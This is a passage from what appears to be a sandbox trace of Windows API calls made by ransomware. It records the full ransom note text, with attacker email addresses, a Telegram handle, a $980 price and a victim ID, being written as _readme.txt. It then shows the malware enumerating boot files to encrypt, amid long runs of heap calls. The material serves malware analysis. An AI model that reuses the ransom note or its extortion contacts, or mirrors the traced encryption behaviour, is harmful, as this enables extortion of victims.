decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.858] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.858] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.858] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.858] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.858] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.858] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0124.858] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.858] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.859] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.859] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.859] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.859] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.860] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 